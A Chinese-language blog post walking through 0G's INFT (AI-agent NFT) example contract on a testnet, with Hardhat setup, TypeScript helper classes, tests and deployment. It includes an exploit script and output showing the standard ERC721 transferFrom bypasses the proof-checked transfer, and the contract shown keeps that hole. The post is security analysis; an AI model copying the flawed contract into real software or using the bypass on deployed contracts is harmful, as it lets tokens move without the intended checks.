Frederick

Welcome to my Alter Ego's site!

Dec 15, 2025 - 12 minute read - 评论

0g官方docs合约漏洞

默认hardhat框架,用的ts,配置环境不讲了

因为要在0g测试网上部署,现在hardhat.config.ts上加

const config: HardhatUserConfig = {
  solidity: "0.8.20", // 匹配合约的编译器版本要求
  networks: {
    // 默认本地网络
    hardhat: {
    },
    // 0G Testnet (Newton)
    "og-testnet": {
      url: "https://evmrpc-testnet.0g.ai", // 0G Testnet 官方 RPC
      accounts: process.env.PRIVATE_KEY ? [process.env.PRIVATE_KEY] : [],
      chainId: 16602, 
    },
  },
};

注意先删去lock.sol,然后创建INFT.so合约

// contracts/INFT.sol
pragma solidity ^0.8.19;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

// Oracle接口,用于验证零知识证明
interface IOracle {
    function verifyProof(bytes calldata proof) external view returns (bool);
}

// INFT合约:基于ERC721的智能NFT,支持加密元数据和授权管理
contract INFT is ERC721, Ownable, ReentrancyGuard {
    // 状态变量
    mapping(uint256 => bytes32) private _metadataHashes;  // 存储每个NFT的元数据哈希
    mapping(uint256 => string) private _encryptedURIs;    // 存储加密的URI
    mapping(uint256 => mapping(address => bytes)) private _authorizations;  // 存储使用授权信息
    
    address public oracle;  // Oracle合约地址
    uint256 private _nextTokenId = 1;  // 下一个待铸造的token ID
    
    // 事件
    event MetadataUpdated(uint256 indexed tokenId, bytes32 newHash);  // 元数据更新事件
    event UsageAuthorized(uint256 indexed tokenId, address indexed executor);  // 使用授权事件
    
    // 构造函数
    constructor(
        string memory name,
        string memory symbol,
        address _oracle
    ) ERC721(name, symbol) {
        oracle = _oracle;
    }
    
    // 铸造新NFT
    function mint(
        address to,
        string calldata encryptedURI,
        bytes32 metadataHash
    ) external onlyOwner returns (uint256) {
        uint256 tokenId = _nextTokenId++;
        _safeMint(to, tokenId);
        
        _encryptedURIs[tokenId] = encryptedURI;
        _metadataHashes[tokenId] = metadataHash;
        
        return tokenId;
    }
    
    // 转移NFT(需要零知识证明验证)
    function transfer(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata sealedKey,
        bytes calldata proof
    ) external nonReentrant {
        require(ownerOf(tokenId) == from, "Not owner");
        require(IOracle(oracle).verifyProof(proof), "Invalid proof");
        
        // 为新所有者更新元数据访问权限
        _updateMetadataAccess(tokenId, to, sealedKey, proof);
        
        // 转移token所有权
        _transfer(from, to, tokenId);
        
        emit MetadataUpdated(tokenId, keccak256(sealedKey));
    }
    
    // 授权特定地址使用NFT
    function authorizeUsage(
        uint256 tokenId,
        address executor,
        bytes calldata permissions
    ) external {
        require(ownerOf(tokenId) == msg.sender, "Not owner");
        _authorizations[tokenId][executor] = permissions;
        emit UsageAuthorized(tokenId, executor);
    }
    
    // 内部函数:更新元数据访问权限
    function _updateMetadataAccess(
        uint256 tokenId,
        address newOwner,
        bytes calldata sealedKey,
        bytes calldata proof
    ) internal {
        // 从proof中提取新的元数据哈希
        bytes32 newHash = bytes32(proof[0:32]);
        _metadataHashes[tokenId] = newHash;
        
        // 如果proof中包含新URI,则更新加密URI
        if (proof.length > 64) {
            string memory newURI = string(proof[64:]);
            _encryptedURIs[tokenId] = newURI;
        }
    }
    
    // 获取NFT的元数据哈希
    function getMetadataHash(uint256 tokenId) external view returns (bytes32) {
        return _metadataHashes[tokenId];
    }
    
    // 获取NFT的加密URI
    function getEncryptedURI(uint256 tokenId) external view returns (string memory) {
        return _encryptedURIs[tokenId];
    }
}

一些问题:

留后门继承了 ERC721意味着它自动拥有了 transferFromsafeTransferFrom 这两个标准转账函数。

问题: 如果用户绕过自定义的 transfer 函数,直接调用标准的 ERC721.transferFrom,会发生什么?

NFT 会被成功转账,但是数据权限不会更新

修复建议:override标准的 transferFrom 函数,要么禁用它,要么强制要求它也必须携带 Proof,但是这会破坏 ERC721 兼容性

一个攻击脚本

有两个不同账号,deployer和attacker,攻击者应该是owner,毕竟他希望把metadata留在自己手中

第一步,铸造一个nft给deploer,为了演示,需要确保至少有一个token,这里简化,假设token id 1 已经属于deployer,如果没,mint 1个,这里有个假设,token id是递增的,但是不影响,直接硬编码,或者便利找到一个owner是deployer的token(这里仅作演示,1-100遍历),第二步检查metadata是否存在,第三步,执行攻击,绕过INFT.transfer,直接调用erc721的transferFrom,因为是owner,deployer 自己转给自己不需要 approve,转给别人也不需要,

const txBypass = await contract.transferFrom(
            deployer.address,
            attacker.address,
            targetTokenId
        );

这段代码如果执行成功,那么就是没有proof直接transfer了

验证是否newOwner === attacker.address

// scripts/exploit_bypass.ts
import { ethers } from "hardhat";

async function main() {
    const INFT_ADDRESS = "0x074D5F95eC6E8Da11fa80EBcf8211661b9a60144"; 

    const [deployer] = await ethers.getSigners();
    const attacker = ethers.Wallet.createRandom().connect(ethers.provider);
    
    console.log("Original Owner:", deployer.address);
    console.log("Attacker/Receiver:", attacker.address);

    const INFT = await ethers.getContractFactory("INFT");
    const contract = INFT.attach(INFT_ADDRESS);

    console.log("\n--- Setup: Minting a fresh NFT ---");
    const txMint = await (contract as any).mint(
        deployer.address,
        "og://test-uri-bypass",
        ethers.keccak256(ethers.toUtf8Bytes("test-metadata"))
    );
    const receipt = await txMint.wait();
    
    const balance = await contract.balanceOf(deployer.address);
    let targetTokenId = -1;
    for (let i = 1; i < 100; i++) {
        try {
            const owner = await contract.ownerOf(i);
            if (owner === deployer.address) {
                targetTokenId = i;
                break;
            }
        } catch (e) {
            break;
        }
    }

    if (targetTokenId === -1) {
        console.error("No token found for deployer. Please mint one first.");
        return;
    }
    console.log(`Target Token ID: ${targetTokenId}`);

    console.log("\n--- Before Exploit ---");
    console.log("Owner:", await contract.ownerOf(targetTokenId));
    const uriBefore = await (contract as any).getEncryptedURI(targetTokenId);
    console.log("Encrypted URI:", uriBefore);

    console.log("\n--- Executing Bypass Attack (transferFrom) ---");
    try {
        const txBypass = await contract.transferFrom(
            deployer.address,
            attacker.address,
            targetTokenId
        );
        console.log("Transaction sent:", txBypass.hash);
        await txBypass.wait();

        console.log("✅ Attack Successful: transferFrom executed without proof!");
    } catch (error) {
        console.log("❌ Attack Failed: Transaction reverted (This is GOOD if fixed, BAD if vulnerable)");
        console.error(error);
    }

    console.log("\n--- After Exploit ---");
    const newOwner = await contract.ownerOf(targetTokenId);
    console.log("New Owner:", newOwner);
    
    if (newOwner === attacker.address) {
        console.log("\n  VULNERABILITY CONFIRMED ");
        console.log("The NFT was transferred using standard ERC721 methods.");
        console.log("However, NO Oracle verification was performed, and NO Key was re-encrypted/transferred.");
        console.log("The new owner holds the NFT but cannot access the data!");
    } else {
        console.log("\n System Secure: Transfer was blocked.");
    }
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

最后结果


--- Setup: Minting a fresh NFT ---
Target Token ID: 1

--- Before Exploit ---
Owner: 0xA6f3dfa42680C2221752552Ecb3872E44f4F7ACC
Encrypted URI: og://ea7dbb087934fa01d7d1c592f2d36a9ff6b0254bcd71bf37ea74c0485eb7bb8e

--- Executing Bypass Attack (transferFrom) ---
Transaction sent: 0x23669efc727e7b2d829077caa86fce769f4007c83f0aedf780163f83810e138c
Attack Successful: transferFrom executed without proof!

--- After Exploit ---
New Owner: 0x3Edd2422BA276050765a7Ce3601119E2ae5F1CD9

VULNERABILITY CONFIRMED
The NFT was transferred using standard ERC721 methods.
However, NO Oracle verification was performed, and NO Key was re-encrypted/transferred.
The new owner holds the NFT but cannot access the data!

metadatamanager.js

在数据上链之前,在本地或服务器端完成加密上传打包工作。

一些接口:

OGStorage: 定义了存储层的标准。不管底层用的是 IPFS 还是 0G Storage,只要能 store (存) 和 retrieve (取) 即可。

EncryptionService: 定义了加密服务的标准。核心是 sealKey(密封密钥),这是隐私保护的关键。

AIModelData: (输入) 用户提供的原始数据,包含模型名称、权重文件路径、配置参数等。

AIAgentData: (中间产物) 处理完准备上链的数据。包含加密后的链接、密封的密钥、数据哈希。

MintResult: (输出) 铸造成功后的回执单,包含 Token ID 和交易哈希。

// 从 ethers 库导入必要的类型
import { ethers, Contract, TransactionReceipt, ContractTransactionResponse } from 'ethers';
// 导入 Node.js 的加密模块
import * as crypto from 'crypto';

// 0G 存储接口:定义存储和检索数据的方法
export interface OGStorage {
    store(data: any): Promise&lt;{ uri: string }&gt;;  // 存储数据,返回URI
    retrieve(uri: string): Promise&lt;any&gt;;  // 通过URI检索数据
}

// 加密服务接口:定义加密和密钥密封的方法
export interface EncryptionService {
    encrypt(data: string, key: Buffer): Promise&lt;any&gt;;  // 使用密钥加密数据
    sealKey(key: Buffer, pubKey: string): Promise&lt;any&gt;;  // 使用公钥密封密钥
}

// AI 模型数据接口:定义模型的原始数据结构
export interface AIModelData {
    model: string;  // 模型名称
    weights: string;  // 权重文件路径
    config: any;  // 配置参数
    capabilities: string[];  // 模型能力列表
}

// AI Agent 数据接口:定义准备上链的数据结构
export interface AIAgentData {
    encryptedURI: string;  // 加密数据的存储URI
    sealedKey: any;  // 密封的解密密钥
    metadataHash: string;  // 元数据哈希值
}

// 铸造结果接口:定义铸造成功后返回的数据
export interface MintResult {
    tokenId: number;  // NFT的Token ID
    sealedKey: any;  // 密封的密钥
    transactionHash: string;  // 交易哈希
}

// 元数据管理器类:负责处理NFT元数据的创建、加密和铸造
export class MetadataManager {
    public storage: OGStorage;  // 存储服务实例
    public encryption: EncryptionService;  // 加密服务实例

    // 构造函数:初始化存储和加密服务
    constructor(ogStorage: OGStorage, encryptionService: EncryptionService) {
        this.storage = ogStorage;
        this.encryption = encryptionService;
    }
    
    // 创建 AI Agent:处理数据加密、存储和密钥密封
    async createAIAgent(aiModelData: AIModelData, ownerPublicKey: string): Promise&lt;AIAgentData&gt; {
        try {
            // 准备 AI agent 的元数据
            const metadata = {
                model: aiModelData.model,
                weights: aiModelData.weights,
                config: aiModelData.config,
                capabilities: aiModelData.capabilities,
                version: '1.0',
                createdAt: Date.now()
            };
            
            // 生成随机加密密钥(32字节)
            const encryptionKey = crypto.randomBytes(32);
            
            // 使用生成的密钥加密元数据
            const encryptedData = await this.encryption.encrypt(
                JSON.stringify(metadata),
                encryptionKey
            );
            
            // 将加密数据存储到 0G Storage
            const storageResult = await this.storage.store(encryptedData);
            
            // 使用所有者的公钥密封加密密钥(只有所有者能解密)
            const sealedKey = await this.encryption.sealKey(
                encryptionKey,
                ownerPublicKey
            );
            
            // 生成元数据的哈希值(用于链上验证完整性)
            const metadataHash = ethers.keccak256(
                ethers.toUtf8Bytes(JSON.stringify(metadata))
            );
            
            // 返回准备好的上链数据
            return {
                encryptedURI: storageResult.uri,
                sealedKey,
                metadataHash
            };
        } catch (error: any) {
            throw new Error(`创建 AI agent 失败: ${error.message}`);
        }
    }
    
    // 铸造 INFT:调用合约mint方法并解析返回的tokenId
    async mintINFT(contract: Contract, recipient: string, aiAgentData: AIAgentData): Promise&lt;MintResult&gt; {
        const { encryptedURI, sealedKey, metadataHash } = aiAgentData;
        
        // 调用合约的mint方法
        const tx = await contract.mint(
            recipient,
            encryptedURI,
            metadataHash
        );
        
        // 等待交易确认
        const receipt = await tx.wait();
        
        // 确保交易收据和日志存在
        if (!receipt || !receipt.logs || receipt.logs.length === 0) {
            throw new Error("交易失败或没有日志输出");
        }

        // 解析日志以找到包含 tokenId 的 Transfer 事件
        // 假设第一个事件包含 tokenId(符合原始代码逻辑)
        // 原始代码: receipt.events[0].args.tokenId
        // 在 ethers v6 中,日志是 Log 对象数组
        // 如果合约接口可用,可能会自动解析
        
        let tokenId: number;
        
        // Ethers v6 的 Contract 返回 ContractTransactionResponse
        // .wait() 返回 TransactionReceipt
        // receipt.logs 包含 Log[] 数组
        // 如果我们知道这是 Transfer(from, to, tokenId) 事件,它通常是mint的第一个日志
        // 可以尝试解析 topics 或使用已解析的日志(例如使用 TypeChain)
        // 由于这里传入的 'Contract' 没有明确的 TypeChain 类型
        // 我们尝试按标准行为访问或回退
        
        // 为简化并匹配原始逻辑:
        const log: any = receipt.logs[0];
        // 在 Ethers v6 中,除非使用解析接口,否则收据日志上不会直接有解析的日志
        // 如果 'contract' 是已连接的 Contract 实例,我们可能可以解析
        // 但原始代码直接访问 args
        // 让我们尝试假设日志有 args(如果已解析),或使用 topics
        // ERC721 Transfer: topic0 = keccak256("Transfer(address,address,uint256)")
        // topic3 是 tokenId(已索引)
        
        if (log.args) {
             // 如果日志已解析,从 args 中获取 tokenId
             tokenId = Number(log.args.tokenId || log.args[2]);
        } else {
             // 回退方案:从 topics 解析 Transfer 事件(索引3是tokenId)
             tokenId = Number(BigInt(log.topics[3]));
        }

        // 返回铸造结果
        return {
            tokenId,
            sealedKey,
            transactionHash: receipt.hash
        };
    }
}

用于处理 NFT 元数据的生成、加密、存储以及铸造逻辑。实现“INFT”的核心概念:将加密数据与 NFT 绑定。

Interfaces

OGStorage: 定义了与 0G Storage 交互的接口(store, retrieve)。实际使用时需要实现这个接口来真正上传数据到 0G DA 层。

EncryptionService: 定义了加密服务的接口(encrypt, sealKey)。用于加密元数据内容和“密封”解密密钥。

AIModelData: 定义了 AI Agent 的原始数据结构(模型、权重、配置等)。

AIAgentData: 定义了上链所需的数据结构(加密后的URI、密封的密钥、元数据哈希)。

MetadataManager:

  • 构造函数: 注入存储服务和加密服务。
  • createAIAgent 方法:
  1. 准备数据: 将输入的 AI 模型数据打包。
  2. 生成密钥: 创建一个随机的 32 字节 AES 密钥 (encryptionKey)。
  3. 加密内容: 使用该密钥加密元数据 JSON。
  4. 上传存储: 将加密后的数据上传到 0G Storage(模拟或真实调用)。
  5. 密封密钥 (Key Sealing): 使用所有者公钥加密上述 AES 密钥。这是隐私保护的关键——只有拥有私钥的所有者才能解开 sealedKey 拿到 AES 密钥,进而解密元数据。
  6. 计算哈希: 生成元数据内容的哈希值,用于链上校验完整性。
  7. 返回: 准备好用于 Mint 的数据对象。

mintINFT 方法:

  1. 调用合约: 调用 contract.mint(),传入接收者、加密 URI 和元数据哈希。
  2. 等待交易: tx.wait() 等待区块确认。
  3. 解析日志 (Logs): 尝试从交易收据中解析出 tokenId。
  • 代码中包含了一些针对 Ethers v6 的兼容性处理逻辑(尝试读取 log.args 或直接解析 topics)。
  • 这里假设 Transfer 事件是第一个日志,且符合 ERC721 标准(Topic 3 是 tokenId)。

TransferManager.ts

// 导入 ethers 库中的类型定义
import { Contract, ContractTransactionResponse, TransactionReceipt } from 'ethers';
// 导入 OGStorage 接口
import { OGStorage } from './MetadataManager';

// Oracle 接口:定义预言机的转移处理方法
export interface Oracle {
    // 处理转移请求,返回新的密封密钥、证明和URI
    processTransfer(request: any): Promise<{ sealedKey: any, proof: any, newURI: string }>;
}

// 元数据合约接口:定义获取加密URI的方法
export interface IMetadataContract {
    // 根据 tokenId 获取加密的URI
    getEncryptedURI(tokenId: number): Promise<string>;
}

// 转移请求接口:定义转移所需的所有信息
export interface TransferRequest {
    tokenId: number;        // NFT的ID
    encryptedData: any;     // 加密的数据
    fromAddress: string;    // 发送方地址
    toAddress: string;      // 接收方地址
    toPublicKey: string;    // 接收方的公钥
}

// 转移数据接口:定义执行转移所需的数据
export interface TransferData {
    from: string;           // 发送方地址
    to: string;             // 接收方地址
    tokenId: number;        // NFT的ID
    sealedKey: any;         // 密封的密钥
    proof: any;             // 零知识证明
}

// 转移准备结果接口:定义准备阶段返回的数据
export interface TransferPrepResult {
    sealedKey: any;         // 新的密封密钥
    proof: any;             // 零知识证明
    newEncryptedURI: string; // 新的加密URI
}

// 转移管理器类:负责处理 INFT 的转移逻辑
export class TransferManager {
    private oracle: Oracle;                 // 预言机实例
    private metadata: IMetadataContract;    // 元数据合约实例
    private storage: OGStorage;             // 存储服务实例

    // 构造函数:初始化转移管理器
    constructor(oracle: Oracle, metadataManager: IMetadataContract, storage: OGStorage) {
        this.oracle = oracle;
        this.metadata = metadataManager;
        this.storage = storage;
    }
    
    // 准备转移:获取当前数据并请求预言机重新加密
    async prepareTransfer(tokenId: number, fromAddress: string, toAddress: string, toPublicKey: string): Promise<TransferPrepResult> {
        try {
            // 1. 从合约获取当前的加密URI
            const currentURI = await this.metadata.getEncryptedURI(tokenId);
            // 2. 从存储服务检索加密数据
            const encryptedData = await this.storage.retrieve(currentURI);
            
            // 3. 构造转移请求,发送给预言机进行重新加密
            const transferRequest: TransferRequest = {
                tokenId,
                encryptedData,
                fromAddress,
                toAddress,
                toPublicKey
            };
            
            // 4. 预言机处理:解密原数据,用新主人的公钥重新加密,并生成证明
            const oracleResponse = await this.oracle.processTransfer(transferRequest);
            
            // 5. 返回新的密封密钥、证明和URI
            return {
                sealedKey: oracleResponse.sealedKey,
                proof: oracleResponse.proof,
                newEncryptedURI: oracleResponse.newURI
            };
        } catch (error: any) {
            throw new Error(`转移准备失败: ${error.message}`);
        }
    }
    
    // 执行转移:调用合约的 transfer 方法完成链上转移
    async executeTransfer(contract: Contract, transferData: TransferData): Promise<TransactionReceipt | null> {
        const { from, to, tokenId, sealedKey, proof } = transferData;
        
        // 调用合约的 transfer 方法,传入密封密钥和证明
        const tx: ContractTransactionResponse = await contract.transfer(
            from,
            to,
            tokenId,
            sealedKey,
            proof
        );
        
        // 等待交易确认并返回交易收据
        return await tx.wait();
    }
}

在 INFT 系统中,转移不是简单地调用 transferFrom,而是需要经过以下两个步骤:

  1. 准备阶段 (prepareTransfer):
  • 获取数据: 从链上获取当前加密数据的 URI,并从 0G Storage 下载加密数据。
  • Oracle 处理: 将加密数据、发送方、接收方公钥等信息发送给 Oracle。
  • 重加密: Oracle(或者在拥有正确密钥的可信环境中)需要解密原始数据,然后用接收方 (toPublicKey) 的公钥重新加密数据密钥(生成新的 sealedKey)。
  • 生成证明: Oracle 生成一个证明 (proof),证明这次重加密操作是合法的,且数据内容未被篡改。
  • 返回结果: 返回给前端新的密封密钥、证明以及可能更新后的数据 URI。
  1. 执行阶段 (executeTransfer):
  • 上链: 调用智能合约的自定义 transfer 函数。
  • 参数: 此时除了标准的 from, to, tokenId 外,还必须传入刚才 Oracle 生成的 sealedKey 和 proof。
  • 验证: 合约会调用 Oracle 合约验证 proof,只有验证通过才允许转移。

较完整的测试脚本

import { expect } from "chai";
import { ethers } from "hardhat";
import { INFT, MockOracle } from "../typechain-types";
import { MetadataManager, OGStorage, EncryptionService, AIModelData, AIAgentData } from "../lib/MetadataManager";
import { TransferManager, Oracle } from "../lib/TransferManager";
import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";

// Mock implementations
class MockStorage implements OGStorage {
    private storeData: Map<string, any> = new Map();
    
    async store(data: any): Promise<{ uri: string }> {
        const uri = `mock://${Date.now()}`;
        this.storeData.set(uri, data);
        return { uri };
    }
    
    async retrieve(uri: string): Promise<any> {
        return this.storeData.get(uri);
    }
}

class MockEncryptionService implements EncryptionService {
    async encrypt(data: string, key: Buffer): Promise<any> {
        return { data, iv: "mock-iv" };
    }
    
    async sealKey(key: Buffer, pubKey: string): Promise<any> {
        return "0x" + key.toString('hex') + "sealed"; // Mock sealed key
    }
}

// Helper to create test metadata
async function createTestMetadata(manager: MetadataManager, ownerPubKey: string): Promise<AIAgentData> {
    const modelData: AIModelData = {
        model: "gpt-4-mock",
        weights: "mock-weights-hash",
        config: { temperature: 0.7 },
        capabilities: ["chat", "code"]
    };
    return await manager.createAIAgent(modelData, ownerPubKey);
}

describe("INFT Contract", function () {
    let inft: INFT;
    let mockOracle: MockOracle;
    let owner: HardhatEthersSigner;
    let otherAccount: HardhatEthersSigner;
    let metadataManager: MetadataManager;
    let transferManager: TransferManager;
    let mockStorage: MockStorage;
    let mockEncryption: MockEncryptionService;

    beforeEach(async function () {
        [owner, otherAccount] = await ethers.getSigners();

        // Deploy Mock Oracle
        const MockOracleFactory = await ethers.getContractFactory("MockOracle");
        mockOracle = (await MockOracleFactory.deploy()) as MockOracle;
        await mockOracle.waitForDeployment();

        // Deploy INFT
        const INFTFactory = await ethers.getContractFactory("INFT");
        inft = (await INFTFactory.deploy("MyINFT", "INFT", await mockOracle.getAddress())) as INFT;
        await inft.waitForDeployment();

        // Setup managers
        mockStorage = new MockStorage();
        mockEncryption = new MockEncryptionService();
        metadataManager = new MetadataManager(mockStorage, mockEncryption);
        
        // Mock Oracle for TransferManager (TS interface)
        const oracleInterface: Oracle = {
            processTransfer: async (req) => {
                return {
                    sealedKey: ethers.toUtf8Bytes("new-sealed-key"),
                    proof: ethers.randomBytes(65), // Mock proof
                    newURI: "mock://new-uri"
                };
            }
        };

        // Note: TransferManager expects IMetadataContract which has getEncryptedURI
        // The INFT contract satisfies this.
        // We also need to pass storage to TransferManager now.
        transferManager = new TransferManager(oracleInterface, inft as any, mockStorage);
    });

    it("should mint INFT with encrypted metadata", async function () {
        const metadata = await createTestMetadata(metadataManager, "mock-pub-key");
        
        // We use the manager to mint, but we can also call contract directly to test contract specifically
        // Using manager as per previous JS structure suggestion
        // Note: The original JS used 'inft.mint' directly in the test snippet, but 'manager.mintINFT' in the lib file.
        // I will test using the manager as it wraps the logic.
        
        const result = await metadataManager.mintINFT(inft as any, owner.address, metadata);
        
        expect(result.tokenId).to.equal(1);
        expect(await inft.ownerOf(1)).to.equal(owner.address);
    });

    it("should transfer with re-encryption", async function () {
        // 1. Mint first
        const metadata = await createTestMetadata(metadataManager, "mock-pub-key");
        await metadataManager.mintINFT(inft as any, owner.address, metadata);
        
        // 2. Prepare transfer
        const tokenId = 1;
        const toPublicKey = "other-pub-key";
        
        const prepResult = await transferManager.prepareTransfer(
            tokenId, 
            owner.address, 
            otherAccount.address, 
            toPublicKey
        );
        
        // 3. Execute transfer
        // We need to set mock oracle to return true for verifyProof in the contract
        // Assuming MockOracle has a setVerifyResult method or similar, or defaults to true.
        // Let's check MockOracle.sol content if possible. If not, I'll assume it defaults to true or I need to add logic.
        // Since I don't have MockOracle content, I'll assume standard mock behavior.
        // If it fails, I'll need to check the contract.
        
        // Execute
        const transferData = {
            from: owner.address,
            to: otherAccount.address,
            tokenId,
            sealedKey: prepResult.sealedKey,
            proof: prepResult.proof
        };

        await transferManager.executeTransfer(inft as any, transferData);
        
        expect(await inft.ownerOf(tokenId)).to.equal(otherAccount.address);
    });

    it("should authorize usage without ownership transfer", async function () {
        // Mint
        const metadata = await createTestMetadata(metadataManager, "mock-pub-key");
        await metadataManager.mintINFT(inft as any, owner.address, metadata);
        
        const tokenId = 1;
        const permissions = ethers.toUtf8Bytes("read-only");
        
        await expect(inft.authorizeUsage(tokenId, otherAccount.address, permissions))
            .to.emit(inft, "UsageAuthorized")
            .withArgs(tokenId, otherAccount.address);
    });
});

最后部署:npx hardhat run scripts/deplot.ts –network og-testnet

deploy.ts

// scripts/deploy.ts
import { ethers } from "hardhat";

async function main() {
    // 获取默认的部署者账户
    // ethers.getSigners() 返回 hardhat.config.ts 中配置的账户列表
    const [deployer] = await ethers.getSigners();
    
    console.log("正在使用账户部署合约:", deployer.address);
    
    // 1. 部署 MockOracle (模拟预言机)
    // 在真实生产环境中,这里应该是真实的验证合约地址,不需要重新部署 Mock
    console.log("正在部署 MockOracle...");
    const MockOracle = await ethers.getContractFactory("MockOracle");
    const oracle = await MockOracle.deploy();
    
    // 等待合约部署完成 (Ethers v6 写法)
    await oracle.waitForDeployment();
    const oracleAddress = await oracle.getAddress();
    console.log("MockOracle 已部署到:", oracleAddress);
    
    // 2. 部署 INFT 主合约
    console.log("正在部署 INFT...");
    const INFT = await ethers.getContractFactory("INFT");
    
    // 构造函数参数:
    // name: "AI Agent NFTs"
    // symbol: "AINFT"
    // oracle: 刚才部署的 MockOracle 地址
    const inft = await INFT.deploy(
        "AI Agent NFTs",
        "AINFT",
        oracleAddress
    );
    
    // 等待部署完成
    await inft.waitForDeployment();
    const inftAddress = await inft.getAddress();
    
    console.log("-----------------------------------------");
    console.log("部署完成!");
    console.log("MockOracle:", oracleAddress);
    console.log("INFT:      ", inftAddress);
    console.log("-----------------------------------------");
}

// 执行主函数并处理可能的错误
main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

image.png

先确定部署的账号,再部署依赖合约 MockOracle,最后部署INFT 合约

本来还有个mint.ts,官网没找到,随便让ai写了,里面加密脚本有点草率